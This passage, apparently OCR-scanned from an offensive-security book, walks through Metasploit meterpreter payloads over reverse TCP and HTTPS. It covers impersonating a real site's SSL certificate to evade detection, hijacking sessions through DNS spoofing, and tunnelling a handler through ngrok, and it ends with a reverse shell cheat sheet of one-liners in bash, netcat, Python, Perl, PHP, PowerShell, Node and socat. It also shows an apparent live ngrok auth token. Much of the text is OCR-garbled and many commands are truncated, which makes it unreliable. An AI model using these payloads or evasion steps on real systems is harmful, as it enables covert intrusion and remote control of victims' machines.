0 y TN -]
E |1n T i g 35 hitnﬁrmund job L.

Started reverse TCP handler on 192,168, 2 68040
15t exploit( B

When the stager is executed, the RC4 encrypted second stage is sent to the target
server, and this shows that a meterpreter popped up on the handler. However,
this session will not work because the stager failed to decrypt the second stage in
the memory:

0080 -» 192168, 0, 34: 56104) at J018-08-12 19:08:49 +0530

Let's execute the following command to look for the session information:

| sessions -1



)+ sessions -l

Information Conmection

Meterprete

There's something weird about this result; there's no information retrieved from
the target server. Let's try to interact with the session using the following
command: sessions -i 3

: Lottt ¥
Starting interaction with

meterpreter
Lnknown
meterpreter

Lnknown

meterpretfer

Unknaown
meterpreter :

Unknown command: sysinfo.
meterpreter > |

When we tried to execute the getuid, getpid, and sysinfo meterpreter commands,
we got an error message saying unknown command. This is because the stager could
not decrypt metsrv.d11 in-memory. With the failed decryption, it could not perform
reflective DLL injection to load itself in-memory. As a result, the session died
after few seconds:



Unknown command: sysinfo,

meterpreter >
H Died

If decryption fails, the stager executed on the target server will drain the resources (CPU and
memory). So be extra careful when using reverse_tcp_rca.

Applications | Processes | Services Performance Netwarking | Users

CPU Usage CPU Usage History

Physical Memary Usage History




Instead of using a TCP based stager, metasploit also gives us the option to use a
stage with SSL support. Enter reverse_nttps!



reverse_https

The reverse_tcp payload in Metasploit is a very powerful and basic payload but
has its own drawbacks. One of the drawbacks is its non-encrypted nature for the
second stage. However, Metasploit does have another payload with SSL support:

reverse_https!

The reverse_nttps payload can be generated using the following command:

msfvenom -p windows/meterpreter/reverse_https lhost=192.168.2.6 lport=8443 -f exe -o Shs

xkcZomb 13K~ Harry$ msfuenom -p windoss/meterpreter/reverse_https 1host=192.16
8.2.6 lport=8443 - exe -0 SharedPayloads/ revhttpsb443. exe

No platform was selected, choostng Hsf: :Module: :PLatform: :Hindows from the paylo
(d

No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload
Payload stze: 438 bytes

Final size of exe file: 73802 bytes

Soved as: SharedPayloads/ revlittps8dd3. exe
xhxZonbidshe~ Harry$

Let's set up the handler for reverse nttps as well, using the following commands:

Set payload windows/meterpreter/reverse_https
Set lhost 192.168.2.6

Set lport 8443

Set exitfunc thread

Set exitonsession false

run



[ IO | Harry — msfconsole — 143x38
mc P

mst > use explott/multi/handler

msf exploit( ) = set payload windows/meterpreter/ reverse_https
payload =» windows/meterpreter/ reverse_https

msf exploit( ) > set lhost 192.168.2.6

[host == 192.168.2.6

msf exploit( ) = set Iport 8443

lport =» 8443

msf exploit( ) > set exitfunc thread

exitfunc = thread

msf exploit( ) > set exitonsession false

ex1tonsession => fglse

msf exploit( )R

Started HTTPS reverse handler on https://192.168.2.6:8443

Our handler is up and running now. Let's execute the payload on the server and
see the network packets flowing from the target server to our handler:



‘ tep.port == 8443\ ﬁ v Eipressin.. #

Mo Ting e Destiaion rotocel  Length Info 8
- 092 2%, 441140 192,168.2.30 192.168.2.6 I(P 60 56239 + BH43 [SYI] Seqed Hin=5192 Len=0 V551460 H5.
| 6953 296, 444434 192,168.2.6 192.168.2.30 T(P 66§43 < 5839 [SYI, ACK] Seqed Acke] Hin=85535 Len=L
6954 296, 444450 192.168.2.30 192.168.2.6 I(P 54 56239 + BM3 [ACK] Seqel AckeL Hin=G570 Len=0

0955 296, 446166 192,168.2.6 192,168.2.30 (P 60 [TCP Hindos Update] B443 = 56239 [ACK] Segel Ackel .
6%06 296.447000  192.166.2.30 192.168.2.6 T0P 153 58130 + 8443 [PSH, ACK] Seqel Ack=1 Win-E5700 Len=09
6%7 296448530 192.168.2.6 192,168.2.30 T(P 6 843 = SE39 [ACK] Seqe] Ack=100 Hin=262016 Len-d
6955 296.452244  192.166.2.6 192,168.2.30 TP 1130 543 < 8139 [PSH, ACK] Seqel Ack=100 Hin=262144 Le.
0%9 206.453¢47 192,166,230 192.168.2.6 I(P 300 58230 + 8443 [PSH, ACK] Seq=100 Ack=1077 Hin=Gi6l4 .
0960 296455214 192,168.2.6 192,168.2.30 (P 6§43 = SE39 [ACK] SeqeL077 Ack=426 Hin=26179] Len<0
0961 296462233 192.168.2.6 192.168.2.30 T(P 113 43 - 56239 [PSH, ACK] Seqeld77 Ack=426 Hin=262144.

e R

]

6973 296615253 ) ] 103 [TCP Retransmission] 6443 = 58239 [PSH, ACK] Seqe10

—

- 6974 96,6157 192,168, 0.30 192,168.2.6 17 66 56239 + BH3 [ACK] Seqed26 Ack=1136 Win=4564 Len=1L
OGS 190,060,030 192,168.2.6 TP 25058239+ G43 [PSH, ACK] Seqz426 Ack=1136 ineB564
d0ll 306.513972  192.168.2.6 192,168,2.30 17 6 B3 = SE139 [ACK] Seqe1136 Ack=623 Hin=261920 Len=0
5017 300.730467  192.165.2.6 192,168.2.30 TP 1514 BH3 < SE39 [ACK] SeqeL136 Ack=623 Hin=262044 Len=.
6018 309.33068  192.168.2.6 192,168.2.30 TP 1514 5H3 = SE139 [ACH] Seqe596 Ack=623 Hin=262044 Len=.

~—

¢
¢

6019 309.33019  192.168.2.30 192.168.2.6 17 54 56239 + BH3 [ACK] SeqeBl3 Ack=4056 Uin=65700 Len-d
6020 309.332206  192.168.2.6 192,168.2.30 TP 1514 BH3 < SE139 [ACK] Seqed6 Ack=623 Hin=262044 Len=.
G021 30933007 192.168.2.6 192,168.2.30 TP 1514 BH3 = SE39 [ACK] Seqe5516 Ack=623 Hin=262144 Len=.
6022 309.332008  192.168.2.6 192,168.2.30 TP 1514 5H3 < SE39 [ACK] Seqe976 Ack=623 Hin=262144 Len=.
6023 309.332008  192.168.2.6 192,168.2.30 TP 1514 BH3 < SE39 [ACK] SeqeD436 Ack=623 Hin=262044 Len=.
§024 309.33007 192,168,230 192,168.2.6 17 54 56239 + BH3 [ACK] SeqeBl3 Ack=98%6 Uin=65700 Len-d
6025 309.332426  192.168.2.6 192,168.2.30 TP 1514 5H3 < B39 [ACK] Seq=9896 Ack=623 Hin=262144 Len=.
¢

§026 30933427 192.168.2.6 192,168.2.30 TP 1514 5H3 = SE39 [ACH] Seqel1356 Acke6l3 Hined62144 Len.

Upon successful execution of the payload, the meterpreter session is opened on
the handler with the unique UUID for the session:




i exploit( >

WMHPMWWMMhm HM

s 119,168, wmmmrws L3 (0D djamdgh) Skogng 486 poyload (180825 bkes) ..,
MMWHWWWOMM( Wlﬂ@%M]HW%NNNS@m

Now we have a secure connection and no one can detect our presence inside the
organization, right? Wrong! Let's take a look at what the problem could be with
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ps uses SSL, we need to decode these network packets as SSL.

Since reverse_htt



This can be achieved by opening the Analyze | Decode As... sub-menu, as
follows:
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The Decode-As... display window will then open. We need to add the SSL
option so that the packets displayed by Wireshark can be decoded into SSL
packets. Clicking on the + sign will help us with this further:



£ ot ) PRO/IO0 T Desdop AdapterLoce e Comecon

140 JBRE Q692713 EAQ4T

| ot

BElH

ﬁ ¥ |Expresson.. 4

M, Ting Soure Destination

- le6 1205978 19166030 192, 168.2.6 0P

Pratocal  Lemath nfo

60 58503 + B443 [SVI) Seq=A Hin=8192 Len=0 VSS=1460 US<4 SACk PER"=]
66 B443 - 58593 [V, MK] 5,Eq=ﬂ Acke] Hin=63535 Len=l ¥S5=1460 HS=32 SACK PERV:]

54 58503 4 443 [ACK] Seq=1 Ack=1 liin-G5700 Len-0
s

1637 12.1531!1 192.168.2.6 192, 166.2.30 113
1638 12163154 192,168,230 192, 168.2.6 143

LG L6 .
1639 12, 165018 192.166.2.6 19 dWrrrsbark-Dew iels.
1640 12, 166535 192,166,230 19
1642 12169129 192.168.2.6 9.

s : G Fied Yalug
1643 12169129 190.168.0.6 19
1645 12,1697 190166230 19
1646 12, 170684 190.168.0.6 19
1647 12174096 190.168.2.6 19

13 19

1659 12, 376726

92.165,

0
4L

l
!
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l
l
l
l
l
!
l
LU l
AR umnT |
l
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!
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l
l
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l
!

92.165.2.30 19
74 4, 45788 190,166, 0.6 19
AT W50 190, 068.0.6 19
78 457637 190,166, 0.6 19
A7 M5 19,168 2.30 13
50 577605 190.165.0.5 13
8L A57RLS 190.066.0.6 19
A8 WSS 190.165.0.5 19
A5 W57 19.068.2.30 19
AW WS 19016806 19
A8 W5 19006806 19
56 457739 192.165.2.30 19

) Frame L636: 66 bytes on wire (528 bits), 66
) Ethernet 11, Src: PesCampu 24:44:¢0 (48:00:

Tipe Dfault {ument

i

) Internet Protocol Version 4, Src: 191 168.1

4 Transmission Contral Protocal, Src Port: 58 £
Saurce Port: 58593
Destingtion Part: G443

[ it H 5 H Canrel H Hep l

[Stream index: 1]
(TP Segrent Len: 4]
Sequence mmber: @ (relative sequence number )

Acknaledgrent nimber: 0




A new field will be added on the display windows. Let's select the Field as TCP
port, the Value as 8443, the Type as Integer, Base 10, the Default as (none) and
the Current field as SSL:
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) Internet Pratocal Version 4, Srcs 192,165,
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[Strean Index: 1]
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After clicking OK, we will see that the network packets have been decoded into
SSL:
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Now that we have decoded the SSL packets, let's search for the server Hel1o
packet:

b The il lednin bl e I
GG 1 Y O B L A TP G SESEH < D[SV Seqe incE1S0 Len Y55G0 US4 Sl PER:]
107 LG 8LJ66.L.6 FLJRLI T 66 BT < SESCD (S M) S ke 5535 Ll 5 460 63 ) PERve]
CBLES MR L TP SASESEH « B3 [0 Sl ﬁd 1 Hin=5700 Lened
030 10165005 19016616 FRIELI T 60 [10P indon Updste] G443+ SESSD [ACK] S ke Win=LGL14 Lened
P 1 O L A 1%l 15 Client fello
L N T A SRIRLI T 60 B« SESED (A S kL0 265 Lened
6 L1600 19LI.L6 Q068230 TS L030 Server Hello, Certificate, Server Hello e
LT RGN ML T W tly E\changeJ hang Soher Spec, Encryptet Hendohake essege
oAg 11170684 19D J66.1.6 RIRLI T 60 B« SESED (A Seqe LT k26 D) Lened
LEN P A K T W X R 1 G [hang phel pec, Encry pted Handshake essage
BT 10LE10 1906606 M S50 [ (] Sete426 AcheL136 in-BL564 Lo
Lof 1.1 1 [T
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Looking into this, we can see that we have just found the default SSL certificate
used by the reverse_https payload:
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1640 12.166535 192,168,230 192.168.2.6 1151

142 12169129 192,166, 2.6 192.168.2.30 TP

L1643 12160029 192,165, 2.6 192.165.2.34 Ml |1
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380 (1ient ley Exchange, Change Cipher Spec, Encrypted Handshake Vessage

Length: 93
4 Randshake Protocal: Certificate
Handshake Type: Certificate {11)
Length: 979
(ertificates Length: 976
4 (ertificates (976 bytes)
(ertificate Length: 973

| Certificate: 308203¢930820201a0030201020209804507bdeh599fSath
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Cartent Type: Handshake (22)
Version: TLS 1.0 (@x@3al)
Length: 4
4 endshake Protocal: Server Hella Dane
Handshake Type: Server hello Dane (14)
Length: 4




Now let's open the handler's URI in the browser, as we can also find this
information there:

% \B s 08R6508 "

B
i Faorts ‘ﬁaSuggested Stes ¥ aWeb Slice Gallery ¥
J?Ceﬂiﬁcate Enar. Navigation Blocked T‘ @ "R @ v Pagev

@ Thereis a problem with this website's securty certficate,

The security certficate presented by this website was not issued by a trusted certficate authortty,
The security certficate presented by this website was fssued for a ifferent website s address,

Securty certifcate problems may indicate an attempt to fool you or ntercept any data you send to the
SEIVer,

We recommend that you close this webpage and do not continue to this website.
0 Cick hreto cosetis Webpage

@ Continue to this website (not recommended),

® Moreinformation

Opening the link would send the client's user-agent and request to the handler, as



seen in the following screenshot:
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Let's look for the certificate information from the browser certificate menu:



@ /192168 26843/ - Windows ntemet Eplorer
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[t works!

|
b" Certificate Information

This CA Root certiicate i not trusted. To enable trust,
install this certficate in the Trusted Root Certification
Authorities store,

Tssued bo: - stokes,smoni net

Tssued by: stokes,smoni net

Valtfrom 5 122007 to 5/ 10/ 05

s Statement

Learn more ahout certfcates

f




As we can see from preceding screenshot, the issuer doesn't exist; it's just a fake
domain. IDS/IPS generally blocks the SSL requests if the issuer is not a valid
one or if the SSL certificate is not CA authorized.

So, is there a solution to this problem? Yes, there is! We can use a custom SSL
certificate here.



reverse_https with a custom SSL
certificate

This technique can be used in two ways:

e By getting an SSL certificate signed by CA (a genuine SSL certificate)
e By using someone else's SSL certificate (impersonation)

You can purchase a genuine SSL certificate from an authorized seller or you can
use services such as Let's encrypt to get a genuine SSL certificate for free.
Otherwise, you can always impersonate someone else's SSL certificate.
Metasploit really can help us with impersonation. There's a module in Metasploit
that can do this for us. Execute the following command in order to use the
impersonation module: Use auxiliary/gather/impersonate_ssl
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Set up the following options for SSL certificate impersonation:

tADDCN*p cktpub.c

et EXPIRATION <expirat10n date in DD MM YYYY format>
et rhost www.packtpub.c

et rport 443
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Let's run the module so that it can impersonate packtpub.com's SSL certificate:
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Upon successful execution of this module, three files will be generated: the
private key file (.key), the certificate (.crt) file, and the public certificate (.pem)
file. We need to use the PEM file to generate our HTTPS payload using the
impersonated SSL certificate. This can be achieved by executing the following
command: Msfvenom -p windows/memeterpreter/reverse_https
lhost=192.168.2.6 lport=8443 handlersslcert=<the pem file>
stagerverifysslcert=true -f exe -o <output payload file>
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Let's set up the handler by executing the following command so that it uses the
impersonated SSL certificate:
Set payload windows/meterpreter/reverse_https

Set stagerverifysslcert true
Set handlersslcert <pem file>



mummmm

f el )5 8t shgmertysscet o
vwl m

f el
nfersl
5 el

( st Dnflerslcert D
ot wmmm fi
( ) > Shv ptng

I
106
!
;s

Mo o oot L ORZRS2L deul 6.6, 6. 50 o pock o 560
ATl 86620 o ot co 500 o

ol ptons (el it hndle

Ko (ot et Reqired Descptio

Now let's run the handler;

~ — msfconsole

msf exploit( ) = run -j
Exploit running as huckglnund job 3.

Started HTTPS reverse handler on https://192.168.2.6:8443
msf exploit( ) o=

Upon successful payload execution, the handler will first verify the SSL
certificate with the SHA1 hash, and only after that will it send the second stage:
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We can confirm the SSL certificate in Wireshark:
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The SSL certificate used for communication is the impersonated one. We can
also verify the SSL certificate in the browser:

€ ( ANotSecure htins)192168.26:6443

Nﬂt fOllﬂd B packipubcon

The requested URL/ was not found on this server,

* packtpub.com
Selt-signed root certificate

Expires: Tuesday, & December 2020 at 12:00:00 AM India
Standard Time

« This certificate has not been verified by a third party

I ( x',r,l',ljﬁ«n'r'
it

w

¥ Details

Comman Name *packtpub.com
Comman Name *packtpub.com

Comman Name *packtpub.com
Comman Name *packtpub.com



Boom! We can now hack any organization using their SSL certificate but with a
different key. This way, they won't be able to decrypt our communication or
detect us.

Now, how can we make this even more stealthy? (I know what you're thinking:
There's another level to this? Damn!)

Did you know meterpreter payloads can also be hijacked by someone else? Let's
take a look at a hijacking scenario in which the payload used is reverse_tcp:

1. The attacker backdoor-ed a server with a persistent meterpreter service.
However, for reasons such as gio-IP blocking, the DNS server not working,
and so on, the service is not able to connect back to attacker's handler.

2. Let's say we also want to get access to the server but we're unable to.

3. In this case, upon sniffing the DNS information from the network, we found
that the server is looking up a weird domain name.

4. We also found that the domain doesn't exist and according to its traits, we
think that it could be a meterpreter stager trying to connect back to the
handler.

5. How can we redirect this DNS lookup so that it points to our IP address
where we have already set up our handler for an incoming connection?

6. A DNS spoofing attack is the perfect attack in this scenario. We perform
this attack by hijacking the network DNS so that the server, when looking
for the original malicious domain from the DNS, resolves to our handler IP.

7. It's a piece of cake after this. The handler receives the incoming connection
and sends the stager.

8. The meterpreter session hijack is complete!

How can you prevent someone else from hijacking your session? Through
paranoid mode!

Paranoid mode is a special security feature provided by Metasploit. It's a normal
reverse_winhttps payload with a custom SSL certificate that can verify the SSL
certificate using SHA1 and can check the UUID from its payloads.json file to
confirm whether or not the correct stager has been connected or not, ignoring all
other payloads. For more information on paranoid mode, please refer to the

following link: https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-
Mode


https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode

We may face situations where we want the payload to connect back to us but we
don't have a public-facing IP in which our handler can receive an incoming
connection (in an office situation). In those cases, if we can't get access to the
router to set up the port-forwarding option then what can we do?



Meterpreter over ngrok

According to its website (https://ngrok.com/), ngrok is a secure introspectable tunnel
to the localhost. This exposes local servers behind NATs and firewalls to the
public internet over secure tunnels. So, how do we use ngrok?

Let's start by registering to it:


https://ngrok.com/

® 0 /[ ngrok- secure introspectable X |
/

€& (| # Secure | https://dashboard.ngrok.com)get-started

Dashboard

Setup & Installation

Status
Reserved
Auth
Team
Admin

Billing

Want more from ngrok?
Ungrade now

@ Download ngrok

ngrok is easy to install. Download a single binary
with zero run-time dependencies.

¥ Download for Mac 05 X

Windows Linux  Mac (32-bit) - Windaws (32-hit)

FresB5D (32-hit)

@ Connect your account

Running this command will add your account's
authtoken to your ngrok.yml file. This will give
you more features and all open tunnels will be
listed here in the dashboard.

§ ./ngrok authtoken 7CWhmYYRQesFETIVXCTFe

011}}"6

Download Docs  30go73ylpb4f@opayg.com »

@ Unzip to install

On Linux or OSX you can unzip ngrok from a
terminal with the following command. On
Windows, just double click ngrok zip.

§ unzip /path/to/ngrok.zip

Most people keep ngrok in their user folder or
set an alias for easy access.

@ Fireitup

Read the documentation on how to use ngrok.
Try it out by running it from the command line:

§ ./ngrok help

To start a HTTP tunnel on port 80, run this next:

§ ./ngrok hitp 80

Upon successful registration, you'll get the required Tunnel Authtoken. Let's

copy this token:
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We downloaded the ngrok package for macOS and, after uncompressing it, we got
a single executable file named ngrok:

[ N
xXx7omb13xXx:~ Harry$ 1ls -alh ngrok
-rwxr-xr-x@ 1 Harry staff 15M Jul 15 2017 ngrok

xXxZombi3xXx:~ Harry$

Let's first use our auth token SO that whenever the tunnel is being created by this
executable file, our auth token is used. We can do this by executing the following
command: ./ngrok authtoken <auth token>

000 % Harry —-bash — 143437

xkdombi3xke:~ Harey$ . /ngrok authtoken 7CHmYYResFES3UxcfFe_LxKDFmgggGswywkBxC4L
Authtoken saved to confguration files /Users/Harry/.ngrok2/ngrok.yml

xhxZonbiekx:~ Harry$

Let's try to execute ngrok to bring up the help screen:



& Harry = -bash — 14337
hiZonbidee: HarryS . /ngrok
NAKE:
ngrok - tumel local ports to public WRLs and tnspect traffic

OESCRIPTION:
ngrok exposes local nebworked services behinds NATS and firesalls to the
public tnternet over a secure tumel, Share local webstites, butld/test
wedhaok constmers and self-host personal Services,
Detatled help for each comand s available with "ngrok help <comand',
Open http:/localhost:4840 for ngrok's web interface to inspect traffic,

ERAIPLES:
Il
N

Ny

!
!
!

il # secure public URL for port 8 veb Server
D -Subdonain=baz 8080 # port 8080 vailable at baz.ngrok. 1o
D foo.dev:80 # tumnel to host:port instead of localhost
2 # tumnel artnitrary TCP traffic to port 22
-fiostnane=foo.com 443 # TLS traffic for foo.con to port 443

art foo bar oz # start tumels fron the configuration file

M
ngro
ngro

k fittp 80
kfittp -5
k fitt
k top
k tls
kst

VERSION:
L8

AUTHOR:
nconsfireveable - <alanéngrok, com>

(OHRNDS:

autfitoken  save quthtoken to confiquration file

credits  prints quthor and Licensing infomation

hittp start an HTTP tumel

start -~ start tumels by nane from the configuration file
tp start a TCP tunnel

tls start 0 1S tumel

update  update ngrok to the latest version

version  print the version string

help Shows 0 List of comands or help for one comand
wbZonbideke: Harry§




As we can see from preceding screenshot, ngrok supports TCP, HTTP, and TLS
tunnel (TLS is only for premium users). Let's start the HTTP tunnel using the
following command: ./ngrok http 8443

e
xXxZombi3xXx:~ Harry$ ./ngrok http 8443

The HTTP tunnel is now up and running on port sa43:
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Let's understand the line fOI'WElI‘diI’lg http://c55867a0.ngrok.io | localhost:8443 via the
following diagram:



el
Secure tunnel which connects port 8443/tep from attackers machine

— to ngrok server with domain c33867a0.ngrok.io

i b . : . =

-

Attacker machine

Ngrok server

This also means that any incoming HTTP connection to css867.ngrok.io will be
forwarded to the attacker's machine on port s443/tcp.

The web interface for ngrok can be opened on nttp://10calhost :4046/:
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No requests to display yet

To et started, make & request to one of your tunnel URLS

v fipu//caade/allngrox. o

v fips/coaB6Tal.ngrok.o

We have the Lrost and Lrort for meterpreter connections. Let's set up the handler
to accept the connections using the following commands: Set payload
windows/meterpreter/reverse_http Set lhost 0.0.0.0 Set Iport 8443 Set
exitfunc thread Exploit -j



000 Harry — msfconsole — 143x38
st explott( ) > Set payload windows/meterpreter_reverse_fittp

payload => windows/meterpreter_reverse_http

st explott( ) » set lport 8443

port => 8443

st explott( ) = set lhost 0.0.0.0

Lhost => 0.0.0.0

st explott( ) = set exttfunc thread

exitfunc => thread
st explott( ) > explott -

Fyploit running as background job 0.

Started HTTP reverse handler on http://0.0.0.0:8443
nsf exploit( )5

Furthermore, let's generate the meterpreter payload that would connect to the
ngrok server. The ngrok server will automatically forward the connection to our
handler listening on port s44s:



(1 A by -th-

fAAZond3ete HoreyS msfenon - windors meterpreter reverse_nttp Lnost-cS3867aD.ngrok, 1o port=Bl - exe -0 §
Inrpd Poyloads/reskgrol,2xe
W0 platfom ws Selected, choostng A :Module: Platfom: indoes fFrom the payloud

W0 Arch selected, selecting frch: 86 fron the poyloa

N0 encoder o badchars specifisd, outputting rax paylood

ylouhlzp B bytes

Final size of exe file: 256000 bytes
Soved s SharedPayloadsrelgrok e
rhiZonbidud: oS

Upon successful payload execution, you'll see a meterpreter session pop up:
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Let's confirm the session using the sessions command:



I5f explott( ) » Sesslons

Act1ve sessions

Information~~ Connection

T meterpreter 486/windons 2.1
L eterpreter s86/windows PT-POT 6 PT-PC127.0.0.1;

I5F explott >

Let's also interact with the session for further confirmation:



000 Hary — mefconsole - 143x38

st explott( ) > SRSs10MS -1/
Starting interaction with 2...

Meterpreter » getund
Server ysernane: PT-POPT

Ieterpreter > getpid
(rrent pid: 2624

Meterpreter > sysinfo

(omputer R

(S + Windoss 7 (Butld 7600),
Architecture b4

System Language » en_US

Dongtn : HORKGROLP

Logged On Users + 2

Meterpreter & xB6/windoss

leterpreter »

The session is stable and working perfectly. Thanks, ngrok!

Another good thing about using ngrok is the web interface. The interface does so
much more than displaying the status. We can see connection-related
information on this interface:
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We can also see the number of requests made to the ngrok server from this
interface:



0 0 [y ngok-Sans

€ O 0127002:4040/status

x| [} cs586Ta0ngrok.o

LA\

Global

HTTPProxy
SOCKSSProxy
Serverhddr
Authtoken
Region
ServerSNI
HebAddr
Roat(As
CompressConn
UpdateChannel
LogTarget
Loglevel
LogFormat
ConsolelIColor
InspectDBSize
Hetadata
ConfigPaths
Update
Consalell

Version

no value

tunnel. us. ngrok, con: 443
TChh'YYROesFEf 3VxcfFe_LxkDFngqqGsw]wkBx(4C

s

127.0.0.1: 4040
ngrok, con trusted root
no vaiue

stable

false

info

terninal
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ack

52428880

no value
[Users/Harry/.ngrak2/ngrak. ynl
disabled

enabled

2.2.8

HTTP Requests

tunnel total  /sec1m
command_fine 0 000
command_lie tp) 115 051
Al 115 051
HTTP Request Durations

tunnel 80%
command_line 0.0
command_ine (http) 0.00

Al 000

[sec 5m

000

021
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0%

000
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0.00
200
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Ask a question



We can check the tunnel status from our ngrok dashboard:
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This is a good technique that can be used once in a while, but do not depend on

it for red-team operations. It's better to use your privately and anonymously
owned VPS for this.

Now for the bonus part! The following is the reverse shell cheat sheet that you
can refer to whenever necessary. This covers anything from a normal sash reverse
shell to a lesser known node Js reverse shell.



Reverse shell cheat sheet

Please use this carefully.



Bash reverse shell

A bash reverse shell one-liner command using custom file descriptor is as
follows (it won't be a tty): exec 100<>/dev/tcp/192.168.2.6/8080 cat <&100 |
while read line; do $line 2>&100 >&100; done

Or:

|while read line 0<&100; do $line 2>&100 >&100; done

A bash reverse shell one-liner command using bash's interactive mode is as
follows:

| bash -i >& /dev/tcp/192.168.2.6/8080 0>&1
In both cases, you can use /dev/tcp for TCP-based reverse shell and /dev/udp for

UDP-based reverse shell. (For a UDP connection, use the -u switch with netcat to
get the shell over UDP.)



<strong>zmodload zsh/net/tcp;ztcp 192.168.2.6 8080;while read -r cmd
<&$REPLY;do eval ${cmd} >&$REPLY;done;ztcp -c</strong>

<strong>zmodload zsh/net/tcp && ztcp -d 9 192.168.2.6 8080 && zsh 1>&9
2>&9 0>&9</strong>



TCLsh/wish reverse shell

|echo 'set s [socket 192.168.2.6 8080];while 100 { puts -nonewline $s "RevSh>";flush $s;¢



Ksh reverse shell

| ksh -¢ 'ksh >/dev/tcp/192.168.2.6/8080 0>&1'



Netcat reverse shell

Without sapine_securiTy_HoLe (USINg mkfifo):

|rm -f /tmp/a; mkfifo /tmp/a; nc 192.168.2.6 8080 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tn

Or using mknod:

|rm -f /tmp/a; mknod /tmp/a p && nc 192.168.2.6 8080 0</tmp/a | /bin/bash 1>/tmp/a

With GAPING SECURITY HOLE:

|nc 192.168.2.6 8080 -e /bin/sh



Telnet reverse shell

Attacker machine (two listeners):

nc -lv 8080

nc -lv 8081

Victim

telnet 192.168.2.6 8080 | /bin/bash | telnet 192.168.2.6 8081

Commands will be executed on port sese and the output of those commands will
be printed to port ses1 on the attacker's machine.



(G)awk reverse shell

| awk 'BEGIN{s="/inet/tcp/0/192.168.2.6/8080";for(;s|&getline c;close(c))while(c|getline)g



R reverse shell

|R -e "s<-socketConnection(host='192.168.2.6',port=8080,blocking=TRUE, server=FALSE, open="'



Python reverse shell

e TCP-based Python reverse shell:

| python -c 'import socket, subprocess, os;s=socket.socket(socket.AF_INET, socket.SOC

e UDP-based Python reverse shell:

| python -c 'import socket, subprocess, os;s=socket.socket(socket.AF_INET, socket.SOC

e Base64 encoded:

| python -c "exec('aWlwb3JOIHNvY2t1ldCAgICAsc3VicHJIvY2VzcyAgICAsbh3MgICAgIDtob3NOPSI



Perl reverse shell

e TCP-based per1 reverse shell (/bin/sh dependent):

| perl -e 'use Socket;$i="192.168.2.6";$p=8080;socket (S, PF_INET, SOCK_STREAM, getpro

e UDP-based per1 reverse shell (/bin/sh dependent):

| perl -e 'use Socket;$i="192.168.0.106";$p=8080; socket (S, PF_INET,SOCK DGRAM, getpr

Without using '/bin/sh':

| perl -MIO -e '$p=fork;exit,if($p);%$c=new IO::Socket::INET(PeerAddr,"192.168.

e For Windows:

| perl -MIO -e "$c=new IO::Socket::INET(PeerAddr, '192.168.2.6:8080');STDIN->fdopen



Ruby reverse shell

| ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.2.6","8080");while(cmd=c.gets);]

Or,

| ruby -rsocket -e "c=TCPSocket.new('192.168.0.106','8080"');while(cmd=c.gets);IO0.popen(cmc

/bin/sh independent:

| ruby -rsocket -e'f=TCPSocket.open("192.168.2.6",8080).to_i;exec sprintf("/bin/sh -i <&%c



Php reverse shell

e Using the exec() function:

| php -r '$s=fsockopen("192.168.2.6",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

e Using the she11_exec() function:

| php -r '$s=fsockopen("192.168.2.6",8080);shell exec("/bin/sh -i <&3 >&3 2>&3");'

e Using the system() function:

| php -r '$s=fsockopen("192.168.2.6",8080);system("/bin/sh -i <&3 >&3 2>&3");'

e Using the popen() function:

| php -r '$s=fsockopen("192.168.2.6",8080);popen("/bin/sh -i <&3 >&3 2>&3","r");'

e Using just /bin/sh:

| php -r '$s=fsockopen("192.168.2.6",8080); /bin/sh -i <&3 >&3 2>&3°;'



Lua reverse shell

| lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('192.168.2.6',8080);



<strong>nodejs -e '(function(){ var require = global.require ||
global.process.mainModule.constructor._load; if (!require) return; var cmd =
(global.process.platform.match(/Awin/i)) ? "cmd" : "/bin/sh"; var net =
require("net"), cp = require("child_process"), util = require("util"), sh =
cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){
client.socket = net.connect(8080, "192.168.2.6", function() {
client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else {
util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } });
socket.on("error", function(error) { counter++; if(counter<= 10){
setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); }
StagerRepeat(); })();'</strong>

<strong>node -e
'eval("\x20\x28\x66\x75\x6e\x63\x 74\x69\x6£\x6e\x28\x29\x 7b\x20\x 76\x61\x 72



<strong>powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true)
{$c.Close()};if ($p.ExitCode -ne $null)

{$p.Close()};exit; };$a="192.168.2.6";$p="8080";$c=New-Object
system.net.sockets.tcpclient;$c.connect($a,$p); $s=$c.GetStream(); $nb=New-
Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object
System.Diagnostics.Process;$p.StartInfo.FileName="'cmd.exe';$p.StartInfo.Redire
Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o
4=

$e.GetString($os.Read()) };$s. Write($e.GetBytes($0),0,%0.Length); $o=$null; $d=:
(-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and
($pos -1t $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=%r;if (-
not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if
($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if
($p.ExitCode -ne $null)
{RSC}else{$o=%e.GetString($0s.Read());while($os.Peek() -ne -1){$o +=
$e.GetString($os.Read());if ($o -eq $str)
{$0="1}1};%s.Write($e.GetBytes($0),0,$0.length); $o=$null;$str=%null } } else {RSC}
</strong>

<strong>powershell.exe -nop -w hidden -noni -ep bypass "&
([scriptblock]::create((New-Object 10.StreamReader(New-Object
[0.Compression.GzipStream((New-Object IO.MemoryStream(,
[Convert]::FromBase64String("H4sIAG6iVVsCA51WXW/bNhR996+4cLVaQix(
[I0.Compression.CompressionMode]::Decompress))).ReadToEnd()))"</strong>



Socat reverse shell over TCP

| socat tcp-connect:192.168.2.6:8000 exec: 'bash -1i',pty,stderr,sane 2>&1>/dev/null &



Socat reverse shell over UDP

